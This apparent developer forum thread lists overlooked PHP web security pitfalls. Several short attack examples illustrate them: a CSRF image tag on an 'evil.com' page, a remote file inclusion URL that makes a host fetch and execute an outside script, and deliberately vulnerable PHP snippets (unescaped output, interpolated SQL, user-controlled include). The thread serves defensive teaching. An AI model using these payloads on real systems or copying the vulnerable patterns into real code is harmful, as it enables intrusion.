Common unknown PHP security pitfalls

Question

I know questions like this have been asked a hundred of times, but mine is a little different.

I know about all the common and widely-known security issues like SQL injection, XSS etc. But what about issues that often appear but are not recognized most of the times or not judged as vulnerabilities? Are there any?

Answer 1

Lack of procedures to protect against social engineering attacks? For example, an attacker calling an office and impersonating someone for the purpose of obtaining passwords.

Poor password-creation, distribution, and protection policy.

FTP account cracking can result in malicious code being uploaded to your site.

Weak/vulnerable third-party hosting servers can result in your site being compromised no matter how much time you spent making it secure.

Answer 2

1. Using $_REQUEST instead of $_GET or $_POST, which is a bad idea because $_REQUEST also contains cookies, and it opens the door for Variable Fixation

2. Not really PHP-specific, applies to all the interpreted languages: visibility of .svn/.CVS directories

Answer 3

One thing I've seen a lot that gets developed as a feature and not seen as a security hole until it's too late are state-changing GET requests. These can easily result in cross-site request forgery. For example, your application could have a link to http://mysite.com/logout which logs users out. But a third party site can add code like this:

<!-- on evil.com site -->
<img src="http://mysite.com/logout"&gt;

Then when users load the page on evil.com, they are logged out of mysite.com!

The worst problems happen when sites implement an API using state-changing GET requests. For example, if I ran a social networking site with urls like site.com/addfriend, site.com/sendmessage, etc. and I gave out those urls to developers who were going to make applications for my site, the developers would have to deal with an API change when the security vulnerability was discovered.

Answer 4

PHP has been around for more than 10 years and it matured a lot.

Beware of lax defaults in php.ini.

Answer 5

I worked on a pile of junk once where fopen handlers were enabled as was "register globals." The includes looked like:

<?php
include $MY_BASE . '/includes/myLib.inc';
?>

What this allowed anyone to do is remotely execute any code they wanted. Behold: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f

PHP will fetch the text file over HTTP and execute it locally. Since Apache was running as root... well, you get the idea.

Answer 6

Here are a few that I've worked on:

• Storing passwords as plaintext in a DB
  • If your site is hacked, hackers have access to all of your users' passwords and emails. Consider how many users have the same password for their email as well as your site.
• Storing emails in the same table as your users
  • If a SQL injection attack gives a hacker access to your user table, one of the only pieces of valuable information is the email address. Keep it in a separate table to make it more difficult for the hacker.
  • If you don't intend on emailing the user, only store the hash of their email: a hacker that gets access to user emails can sell them to spammers.
• Even if you have a password-protected site, do the math as to how secure the password are. I had a friend whose site used a simple 5-digit number for passwords. I cracked it in about an hour.
• If you're sending communications that have value (i.e.: you're performing an operation that uses a significant amount of resources: cpu, memory, etc.), always require a token from the user that's timestamped.
  • If a hacker finds that you have an operation that costs you $0.0001 every time it's hit, they can farm out a botnet to rack up charges on your name.
  • Require the user send a hash (a unique ID for the user, a timestamp, and a secret salt) along with a plaintext timestamp. The plaintext timestamp lets you validate that you didn't give them permission last Tuesday, the timestamp in the hash lets you validate that the has belongs with that message, the UID in the has ensures that the hacker didn't jack the request from someone else, and the secret salt in the hash ensures that they didn't generate it on their own.
• If you're writing a plugin system for an application, be wary of what you store in private variables. Check out this article I wrote on how to lock it down.

Just a few ideas and things I've dealt with. Hope it helps!

Answer 7

Here are some of the common pitfalls i have seen:

1. Not escaping entities

It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.

echo $_GET['username'];

2. Not Escaping SQL input

$query = "select * fromt able where id = {$_GET['id']}";

3. Requiring and including files incorrectly

include($_GET['filename']);

4. Double escaping quotes

If magic_quotes_gpc is true, then using addslahes will add one more slash thereby adding two slashes in all.

Answer 8

Many of the posts are not specific to PHP. I am sure there are some language pitfalls but as you see in the posts it is very important to implement best practices in security (like filtering user input). A good start for secure web apps is OWASP. And to be on topic: Security Issues in PHP on OWASP.

Cheers